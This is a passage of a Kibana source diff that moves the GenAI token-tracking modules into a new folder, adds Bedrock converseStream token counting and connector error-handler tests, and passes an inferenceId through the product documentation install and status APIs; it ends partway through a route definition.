x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.ts index 233bd322e8b09..3e3f69c165f36 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/gen_ai_token_tracking.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/gen_ai_token_tracking.ts @@ -9,12 +9,15 @@ import { PassThrough, Readable } from 'stream'; import type { Logger } from '@kbn/logging'; import type { Stream } from 'openai/streaming'; import type { ChatCompletionChunk } from 'openai/resources/chat/completions'; -import type { SmithyStream } from './get_token_count_from_bedrock_converse'; -import { getTokensFromBedrockConverseStream } from './get_token_count_from_bedrock_converse'; +import { getTokensFromBedrockConverseStream } from './get_token_count_from_bedrock_converse_stream'; +import { + getTokensFromBedrockClientSend, + type SmithyStream, +} from './get_token_count_from_bedrock_client_send'; import type { InvokeAsyncIteratorBody } from './get_token_count_from_invoke_async_iterator'; import { getTokenCountFromInvokeAsyncIterator } from './get_token_count_from_invoke_async_iterator'; import { getTokenCountFromBedrockInvoke } from './get_token_count_from_bedrock_invoke'; -import type { ActionTypeExecutorRawResult } from '../../common'; +import type { ActionTypeExecutorRawResult } from '../../../common'; import { getTokenCountFromOpenAIStream } from './get_token_count_from_openai_stream'; import type { InvokeBody } from './get_token_count_from_invoke_stream'; import { @@ -58,7 +61,11 @@ export const getGenAiTokenTracking = async ({ if (hasTelemetryMetadata(validatedParams.subActionParams)) { telemetryMetadata = validatedParams.subActionParams.telemetryMetadata; } - if (validatedParams.subAction === 'invokeAsyncIterator' && actionTypeId === '.gen-ai') { + if ( + (validatedParams.subAction === 'invokeAsyncIterator' && actionTypeId === '.gen-ai') || + (actionTypeId === '.inference' && + validatedParams.subAction === 'unified_completion_async_iterator') + ) { try { const data = result.data as { consumerStream: Stream; @@ -66,9 +73,14 @@ export const getGenAiTokenTracking = async ({ }; // the async interator is teed in the subaction response, double check that it has two streams if (data.tokenCountStream) { + const body = + actionTypeId === `.inference` + ? (validatedParams as { subActionParams: { body: InvokeAsyncIteratorBody } }) + .subActionParams.body + : (validatedParams as { subActionParams: InvokeAsyncIteratorBody }).subActionParams; const { total, prompt, completion } = await getTokenCountFromInvokeAsyncIterator({ streamIterable: data.tokenCountStream, - body: (validatedParams as { subActionParams: InvokeAsyncIteratorBody }).subActionParams, + body, logger, }); return { @@ -293,7 +305,7 @@ export const getGenAiTokenTracking = async ({ usage?: { inputTokens: number; outputTokens: number; totalTokens: number }; }; if (tokenStream) { - const res = await getTokensFromBedrockConverseStream(tokenStream, logger); + const res = await getTokensFromBedrockClientSend(tokenStream, logger); return res; } if (usage) { @@ -309,6 +321,25 @@ export const getGenAiTokenTracking = async ({ } } + // converseStream response used by InferenceChatModel + if (actionTypeId === '.bedrock' && validatedParams.subAction === 'converseStream') { + const { tokenStream } = result.data as unknown as { + tokenStream?: Readable; + }; + + if (tokenStream) { + const res = await getTokensFromBedrockConverseStream(tokenStream, logger); + if (res) { + return { + ...res, + telemetry_metadata: telemetryMetadata, + }; + } + } + logger.error('Response from Bedrock converse API did not contain usage object'); + return null; + } + if (actionTypeId === '.bedrock' && validatedParams.subAction === 'invokeAIRaw') { const results = result.data as unknown as { content: Array<{ type: string; text: string }>; diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_converse.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_client_send.ts similarity index 94% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_converse.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_client_send.ts index f62254443cdf0..c071b797be245 100644 --- a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_converse.ts +++ b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_client_send.ts @@ -14,7 +14,7 @@ export type SmithyStream = SmithyMessageDecoderStream<{ }; }>; -export const getTokensFromBedrockConverseStream = async function ( +export const getTokensFromBedrockClientSend = async function ( responseStream: SmithyStream, logger: Logger ): Promise<{ total_tokens: number; prompt_tokens: number; completion_tokens: number } | null> { diff --git a/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_converse_stream.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_converse_stream.ts new file mode 100644 index 0000000000000..4e7172a8f6cea --- /dev/null +++ b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_converse_stream.ts @@ -0,0 +1,58 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Logger } from '@kbn/logging'; +import type { Readable } from 'stream'; +import { EventStreamMarshaller } from '@smithy/eventstream-serde-node'; +import { fromUtf8, toUtf8 } from '@smithy/util-utf8'; +import { identity } from 'lodash'; +import { finished } from 'stream/promises'; + +export const getTokensFromBedrockConverseStream = async function ( + responseStream: Readable, + logger: Logger +): Promise<{ total_tokens: number; prompt_tokens: number; completion_tokens: number } | null> { + try { + const marshaller = new EventStreamMarshaller({ + utf8Encoder: toUtf8, + utf8Decoder: fromUtf8, + }); + const responseBuffer: unknown[] = []; + for await (const chunk of marshaller.deserialize(responseStream, identity)) { + if (chunk) { + responseBuffer.push(chunk); + } + } + try { + await finished(responseStream); + } catch (e) { + logger.error( + 'An error occurred while calculating streaming response tokens', + e.name ?? e.message ?? e.toString() + ); + } + const usage = responseBuffer[responseBuffer.length - 1] as { metadata: { body: string } }; + + if (usage) { + const parsedResponse = JSON.parse(toUtf8(usage.metadata.body)) as { + usage: { inputTokens: number; outputTokens: number; totalTokens: number }; + }; + return { + total_tokens: parsedResponse.usage.totalTokens, + prompt_tokens: parsedResponse.usage.inputTokens, + completion_tokens: parsedResponse.usage.outputTokens, + }; + } + return null; // Return the final tokens once the generator finishes + } catch (e) { + logger.error( + 'Response from Bedrock converse API did not contain usage object', + e.name ?? e.message ?? e.toString() + ); + return null; + } +}; diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_invoke.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_invoke.test.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_invoke.test.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_invoke.test.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_invoke.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_invoke.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_bedrock_invoke.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_bedrock_invoke.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_async_iterator.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_async_iterator.test.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_async_iterator.test.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_async_iterator.test.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_async_iterator.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_async_iterator.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_async_iterator.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_async_iterator.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_stream.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_stream.test.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_stream.test.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_stream.test.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_stream.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_stream.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_invoke_stream.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_invoke_stream.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_openai_stream.test.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_openai_stream.test.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_openai_stream.test.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_openai_stream.test.ts diff --git a/x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_openai_stream.ts b/x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_openai_stream.ts similarity index 100% rename from x-pack/platform/plugins/shared/actions/server/lib/get_token_count_from_openai_stream.ts rename to x-pack/platform/plugins/shared/actions/server/lib/token_tracking/get_token_count_from_openai_stream.ts diff --git a/x-pack/platform/plugins/shared/actions/server/routes/connector/error_handler.test.ts b/x-pack/platform/plugins/shared/actions/server/routes/connector/error_handler.test.ts new file mode 100644 index 0000000000000..70f586287cbb7 --- /dev/null +++ b/x-pack/platform/plugins/shared/actions/server/routes/connector/error_handler.test.ts @@ -0,0 +1,120 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { TransportResult, DiagnosticResult } from '@elastic/elasticsearch'; +import { errors } from '@elastic/elasticsearch'; +import { kibanaResponseFactory, type KibanaResponseFactory } from '@kbn/core/server'; +import { errorHandler } from './error_handler'; + +const createApiResponseError = ({ + statusCode = 200, + headers = {}, + body = {}, +}: { + statusCode?: number; + headers?: Record; + body?: DiagnosticResult['body']; +} = {}): TransportResult => { + return { + body, + statusCode, + headers, + warnings: [], + meta: {} as DiagnosticResult['meta'], + }; +}; + +describe('errorHandler', () => { + let response: KibanaResponseFactory; + + beforeEach(() => { + response = kibanaResponseFactory; + }); + + describe('incoming error is KibanaServerError', () => { + it('should return bad request response if it is bad request error', () => { + const res = errorHandler( + response, + new errors.ResponseError(createApiResponseError({ statusCode: 400 })) + ); + expect(res.status).toBe(400); + }); + + it('should return the cause for a bad request if available for bad request error', () => { + const res = errorHandler( + response, + new errors.ResponseError( + createApiResponseError({ + body: { + message: 'Response Error', + error: { + root_cause: [ + { + type: 'illegal_argument_exception', + reason: 'root cause', + }, + { + type: 'illegal_argument_exception', + reason: 'deep root cause', + }, + ], + caused_by: { + type: 'illegal_argument_exception', + reason: 'first caused by', + caused_by: { + type: 'illegal_argument_exception', + reason: 'second caused by', + }, + }, + }, + }, + statusCode: 400, + }) + ) + ); + expect(res.status).toBe(400); + expect(res.payload.message).toBe('deep root cause'); + }); + + it('should return a forbidden response if it is unauthorized error', () => { + const res = errorHandler( + response, + new errors.ResponseError(createApiResponseError({ statusCode: 401 })) + ); + expect(res.status).toBe(403); + }); + + it('should return a not found response if it is not found error', () => { + const res = errorHandler( + response, + new errors.ResponseError(createApiResponseError({ statusCode: 404 })) + ); + expect(res.status).toBe(404); + }); + + it('should return a custom error if it is custom error', () => { + const res = errorHandler( + response, + new errors.ResponseError( + createApiResponseError({ statusCode: 500, body: { message: 'Custom error' } }) + ) + ); + expect(res.status).toBe(500); + expect(res.payload.includes('Custom error')).toBe(true); + }); + }); + + describe('incoming error is not a KibanaServerError', () => { + it('throws original error if it is not KibanaServerError', () => { + try { + errorHandler(response, new Error('This is not a KibanaServerError')); + } catch (e) { + expect(e.message).toBe('This is not a KibanaServerError'); + } + }); + }); +}); diff --git a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/plugin.ts b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/plugin.ts index d10c495ece159..50d9e2e340fab 100644 --- a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/plugin.ts +++ b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/plugin.ts @@ -7,6 +7,7 @@ import type { Logger } from '@kbn/logging'; import type { CoreSetup, CoreStart, Plugin, PluginInitializerContext } from '@kbn/core/server'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import type { LlmTasksConfig } from './config'; import type { LlmTasksPluginSetup, @@ -41,7 +42,9 @@ export class LlmTasksPlugin const { inference, productDocBase } = startDependencies; return { retrieveDocumentationAvailable: async () => { - const docBaseStatus = await startDependencies.productDocBase.management.getStatus(); + const docBaseStatus = await startDependencies.productDocBase.management.getStatus({ + inferenceId: defaultInferenceEndpoints.ELSER, + }); return docBaseStatus.status === 'installed'; }, retrieveDocumentation: (options) => { diff --git a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.test.ts b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.test.ts index 0214a6bee1a3e..f15da795fba47 100644 --- a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.test.ts @@ -16,6 +16,7 @@ const truncateMock = truncate as jest.MockedFn; const countTokensMock = countTokens as jest.MockedFn; import { summarizeDocument } from './summarize_document'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; jest.mock('./summarize_document'); const summarizeDocumentMock = summarizeDocument as jest.MockedFn; @@ -65,6 +66,7 @@ describe('retrieveDocumentation', () => { max: 5, connectorId: '.my-connector', functionCalling: 'simulated', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(result).toEqual({ @@ -78,6 +80,7 @@ describe('retrieveDocumentation', () => { products: ['kibana'], max: 5, highlights: 4, + inferenceId: defaultInferenceEndpoints.ELSER, }); }); @@ -92,6 +95,7 @@ describe('retrieveDocumentation', () => { max: 5, connectorId: '.my-connector', functionCalling: 'simulated', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(searchDocAPI).toHaveBeenCalledTimes(1); @@ -100,6 +104,7 @@ describe('retrieveDocumentation', () => { products: ['kibana'], max: 5, highlights: 0, + inferenceId: defaultInferenceEndpoints.ELSER, }); }); @@ -127,6 +132,7 @@ describe('retrieveDocumentation', () => { connectorId: '.my-connector', maxDocumentTokens: 100, tokenReductionStrategy: 'highlight', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(result.documents.length).toEqual(3); @@ -162,6 +168,7 @@ describe('retrieveDocumentation', () => { connectorId: '.my-connector', maxDocumentTokens: 100, tokenReductionStrategy: 'truncate', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(result.documents.length).toEqual(3); @@ -201,6 +208,7 @@ describe('retrieveDocumentation', () => { connectorId: '.my-connector', maxDocumentTokens: 100, tokenReductionStrategy: 'summarize', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(result.documents.length).toEqual(3); @@ -230,6 +238,7 @@ describe('retrieveDocumentation', () => { connectorId: '.my-connector', maxDocumentTokens: 100, tokenReductionStrategy: 'summarize', + inferenceId: defaultInferenceEndpoints.ELSER, }); expect(result).toEqual({ diff --git a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.ts b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.ts index 38472c9b51647..91fe9c586f057 100644 --- a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.ts +++ b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/retrieve_documentation.ts @@ -6,7 +6,7 @@ */ import type { Logger } from '@kbn/logging'; -import type { OutputAPI } from '@kbn/inference-common'; +import { type OutputAPI } from '@kbn/inference-common'; import type { ProductDocSearchAPI, DocSearchResult } from '@kbn/product-doc-base-plugin/server'; import { truncate, count as countTokens } from '../../utils/tokens'; import type { RetrieveDocumentationAPI } from './types'; @@ -30,6 +30,7 @@ export const retrieveDocumentation = connectorId, products, functionCalling, + inferenceId, max = MAX_DOCUMENTS_DEFAULT, maxDocumentTokens = MAX_TOKENS_DEFAULT, tokenReductionStrategy = 'highlight', @@ -65,6 +66,7 @@ export const retrieveDocumentation = products, max, highlights, + inferenceId, }); log.debug(`searching with term=[${searchTerm}] returned ${results.length} documents`); diff --git a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/types.ts b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/types.ts index 78bf58bbce87e..dc65ba7d41318 100644 --- a/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/types.ts +++ b/x-pack/platform/plugins/shared/ai_infra/llm_tasks/server/tasks/retrieve_documentation/types.ts @@ -58,6 +58,10 @@ export interface RetrieveDocumentationParams { * Optional functionCalling parameter to pass down to the inference APIs. */ functionCalling?: FunctionCallingMode; + /** + * Inferece ID to route the request to the right index to perform the search. + */ + inferenceId: string; } /** diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/http_api/installation.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/http_api/installation.ts index 0237bd2c3b488..627e5b08e72c6 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/http_api/installation.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/http_api/installation.ts @@ -13,14 +13,20 @@ export const INSTALL_ALL_API_PATH = '/internal/product_doc_base/install'; export const UNINSTALL_ALL_API_PATH = '/internal/product_doc_base/uninstall'; export interface InstallationStatusResponse { + inferenceId: string; overall: InstallationStatus; perProducts: Record; } export interface PerformInstallResponse { installed: boolean; + failureReason?: string; } export interface UninstallResponse { success: boolean; } + +export interface ProductDocInstallParams { + inferenceId: string | undefined; +} diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/install_status.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/install_status.ts index 81102d43c1ff3..20625b268ebdd 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/install_status.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/common/install_status.ts @@ -20,9 +20,11 @@ export interface ProductDocInstallStatus { lastInstallationDate: Date | undefined; lastInstallationFailureReason: string | undefined; indexName?: string; + inferenceId?: string; } export interface ProductInstallState { status: InstallationStatus; version?: string; + failureReason?: string; } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/plugin.tsx b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/plugin.tsx index 6f2c989b6e45d..52a93611f60bd 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/plugin.tsx +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/plugin.tsx @@ -16,6 +16,10 @@ import type { } from './types'; import { InstallationService } from './services/installation'; +interface ProductDocInstallServiceParams { + inferenceId: string; +} + export class ProductDocBasePlugin implements Plugin< @@ -42,9 +46,11 @@ export class ProductDocBasePlugin return { installation: { - getStatus: () => installationService.getInstallationStatus(), - install: () => installationService.install(), - uninstall: () => installationService.uninstall(), + getStatus: (params: ProductDocInstallServiceParams) => + installationService.getInstallationStatus(params), + install: (params: ProductDocInstallServiceParams) => installationService.install(params), + uninstall: (params: ProductDocInstallServiceParams) => + installationService.uninstall(params), }, }; } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.test.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.test.ts index 294aeb99e0fd8..52181af38d5fe 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.test.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.test.ts @@ -12,6 +12,9 @@ import { INSTALL_ALL_API_PATH, UNINSTALL_ALL_API_PATH, } from '../../../common/http_api/installation'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; + +const inferenceId = defaultInferenceEndpoints.ELSER; describe('InstallationService', () => { let http: ReturnType; @@ -24,17 +27,32 @@ describe('InstallationService', () => { describe('#getInstallationStatus', () => { it('calls the endpoint with the right parameters', async () => { - await service.getInstallationStatus(); + await service.getInstallationStatus({ inferenceId }); expect(http.get).toHaveBeenCalledTimes(1); - expect(http.get).toHaveBeenCalledWith(INSTALLATION_STATUS_API_PATH); + expect(http.get).toHaveBeenCalledWith(INSTALLATION_STATUS_API_PATH, { + query: { + inferenceId, + }, + }); }); it('returns the value from the server', async () => { const expected = { stubbed: true }; http.get.mockResolvedValue(expected); - const response = await service.getInstallationStatus(); + const response = await service.getInstallationStatus({ inferenceId }); expect(response).toEqual(expected); }); + it('calls the endpoint with the right parameters for different inference IDs', async () => { + await service.getInstallationStatus({ + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }); + expect(http.get).toHaveBeenCalledTimes(1); + expect(http.get).toHaveBeenCalledWith(INSTALLATION_STATUS_API_PATH, { + query: { + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }, + }); + }); }); describe('#install', () => { beforeEach(() => { @@ -42,37 +60,68 @@ describe('InstallationService', () => { }); it('calls the endpoint with the right parameters', async () => { - await service.install(); + await service.install({ inferenceId }); + expect(http.post).toHaveBeenCalledTimes(1); + expect(http.post).toHaveBeenCalledWith(INSTALL_ALL_API_PATH, { + body: JSON.stringify({ + inferenceId, + }), + }); + }); + it('calls the endpoint with the right parameters for different inference IDs', async () => { + await service.install({ + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }); expect(http.post).toHaveBeenCalledTimes(1); - expect(http.post).toHaveBeenCalledWith(INSTALL_ALL_API_PATH); + expect(http.post).toHaveBeenCalledWith(INSTALL_ALL_API_PATH, { + body: JSON.stringify({ + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }), + }); }); it('returns the value from the server', async () => { const expected = { installed: true }; http.post.mockResolvedValue(expected); - const response = await service.install(); + const response = await service.install({ inferenceId }); expect(response).toEqual(expected); }); it('throws when the server returns installed: false', async () => { const expected = { installed: false }; http.post.mockResolvedValue(expected); - await expect(service.install()).rejects.toThrowErrorMatchingInlineSnapshot( - `"Installation did not complete successfully"` + await expect(service.install({ inferenceId })).rejects.toThrowErrorMatchingInlineSnapshot( + `"Installation did not complete successfully."` ); }); }); describe('#uninstall', () => { it('calls the endpoint with the right parameters', async () => { - await service.uninstall(); + await service.uninstall({ inferenceId }); + expect(http.post).toHaveBeenCalledTimes(1); + expect(http.post).toHaveBeenCalledWith(UNINSTALL_ALL_API_PATH, { + body: JSON.stringify({ + inferenceId, + }), + }); + }); + it('calls the endpoint with the right parameters for different inference IDs', async () => { + await service.uninstall({ + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }); expect(http.post).toHaveBeenCalledTimes(1); - expect(http.post).toHaveBeenCalledWith(UNINSTALL_ALL_API_PATH); + expect(http.post).toHaveBeenCalledWith(UNINSTALL_ALL_API_PATH, { + body: JSON.stringify({ + inferenceId: defaultInferenceEndpoints.MULTILINGUAL_E5_SMALL, + }), + }); }); + it('returns the value from the server', async () => { const expected = { stubbed: true }; http.post.mockResolvedValue(expected); - const response = await service.uninstall(); + const response = await service.uninstall({ inferenceId }); expect(response).toEqual(expected); }); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.ts index ff347f52cb531..d46399749f588 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/installation_service.ts @@ -6,6 +6,7 @@ */ import type { HttpSetup } from '@kbn/core-http-browser'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { INSTALLATION_STATUS_API_PATH, INSTALL_ALL_API_PATH, @@ -22,19 +23,42 @@ export class InstallationService { this.http = http; } - async getInstallationStatus(): Promise { - return await this.http.get(INSTALLATION_STATUS_API_PATH); + async getInstallationStatus(params: { + inferenceId: string; + }): Promise { + const inferenceId = params?.inferenceId ?? defaultInferenceEndpoints.ELSER; + + const response = await this.http.get(INSTALLATION_STATUS_API_PATH, { + query: { inferenceId }, + }); + + return response; } - async install(): Promise { - const response = await this.http.post(INSTALL_ALL_API_PATH); + async install(params: { inferenceId: string }): Promise { + const inferenceId = params?.inferenceId ?? defaultInferenceEndpoints.ELSER; + + const response = await this.http.post(INSTALL_ALL_API_PATH, { + body: JSON.stringify({ inferenceId }), + }); + if (!response.installed) { - throw new Error('Installation did not complete successfully'); + throw new Error( + `Installation did not complete successfully.${ + response.failureReason ? `\n${response.failureReason}` : '' + }` + ); } return response; } - async uninstall(): Promise { - return await this.http.post(UNINSTALL_ALL_API_PATH); + async uninstall(params: { inferenceId: string }): Promise { + const inferenceId = params?.inferenceId ?? defaultInferenceEndpoints.ELSER; + + const response = await this.http.post(UNINSTALL_ALL_API_PATH, { + body: JSON.stringify({ inferenceId }), + }); + + return response; } } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/types.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/types.ts index 5c01c84b24625..5bf369c3b58e4 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/types.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/public/services/installation/types.ts @@ -9,10 +9,11 @@ import type { InstallationStatusResponse, PerformInstallResponse, UninstallResponse, + ProductDocInstallParams, } from '../../../common/http_api/installation'; export interface InstallationAPI { - getStatus(): Promise; - install(): Promise; - uninstall(): Promise; + getStatus(params: ProductDocInstallParams): Promise; + install(params: ProductDocInstallParams): Promise; + uninstall(params: ProductDocInstallParams): Promise; } diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/plugin.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/plugin.ts index 53bc6acae4cfc..d3bff7235e9a0 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/plugin.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/plugin.ts @@ -10,6 +10,7 @@ import type { Logger } from '@kbn/logging'; import { getDataPath } from '@kbn/utils'; import type { CoreSetup, CoreStart, Plugin, PluginInitializerContext } from '@kbn/core/server'; import { SavedObjectsClient } from '@kbn/core/server'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { productDocInstallStatusSavedObjectTypeName } from '../common/consts'; import type { ProductDocBaseConfig } from './config'; import { @@ -76,7 +77,10 @@ export class ProductDocBasePlugin const soClient = new SavedObjectsClient( core.savedObjects.createInternalRepository([productDocInstallStatusSavedObjectTypeName]) ); - const productDocClient = new ProductDocInstallClient({ soClient }); + const productDocClient = new ProductDocInstallClient({ + soClient, + log: this.logger, + }); const packageInstaller = new PackageInstaller({ esClient: core.elasticsearch.client.asInternalUser, @@ -110,7 +114,7 @@ export class ProductDocBasePlugin taskManager, }; - documentationManager.update().catch((err) => { + documentationManager.update({ inferenceId: defaultInferenceEndpoints.ELSER }).catch((err) => { this.logger.error(`Error scheduling product documentation update task: ${err.message}`); }); diff --git a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/routes/installation.ts b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/routes/installation.ts index 98d8b5e0d85d7..af04ae85def9e 100644 --- a/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/routes/installation.ts +++ b/x-pack/platform/plugins/shared/ai_infra/product_doc_base/server/routes/installation.ts @@ -7,6 +7,8 @@ import type { IRouter } from '@kbn/core/server'; import { ApiPrivileges } from '@kbn/core-security-server'; +import { schema } from '@kbn/config-schema'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { INSTALLATION_STATUS_API_PATH, INSTALL_ALL_API_PATH, @@ -16,6 +18,7 @@ import { UninstallResponse, } from '../../common/http_api/installation'; import type { InternalServices } from '../types'; +import { ProductInstallState } from '../../common/install_status'; export const registerInstallationRoutes = ({ router, @@ -27,7 +30,11 @@ export const registerInstallationRoutes = ({ router.get( { path: INSTALLATION_STATUS_API_PATH, - validate: false, + validate: { + query: schema.object({ + inferenceId: schema.string({ defaultValue: defaultInferenceEndpoints.ELSER }), + }), + }, options: { access: 'internal', }, @@ -39,11 +46,17 @@ export const registerInstallationRoutes = ({ }, async (ctx, req, res) => { const { installClient, documentationManager } = getServices(); - const installStatus = await installClient.getInstallationStatus(); - const { status: overallStatus } = await documentationManager.getStatus(); + const inferenceId = req.query?.inferenceId; + const installStatus = await installClient.getInstallationStatus({ + inferenceId, + }); + const { status: overallStatus } = await documentationManager.getStatus({ + inferenceId, + }); return res.ok({ body: { + inferenceId, perProducts: installStatus, overall: overallStatus, }, @@ -54,7 +67,11 @@ export const registerInstallationRoutes = ({ router.post( { path: INSTALL_ALL_API_PATH, - validate: false, + validate: { + body: schema.object({ + inferenceId: schema.string({ defaultValue: defaultInferenceEndpoints.ELSER }), + }), + }, options: { access: 'internal', timeout: { idleSocket: 20 * 60 * 1000 }, // install can take time. @@ -68,18 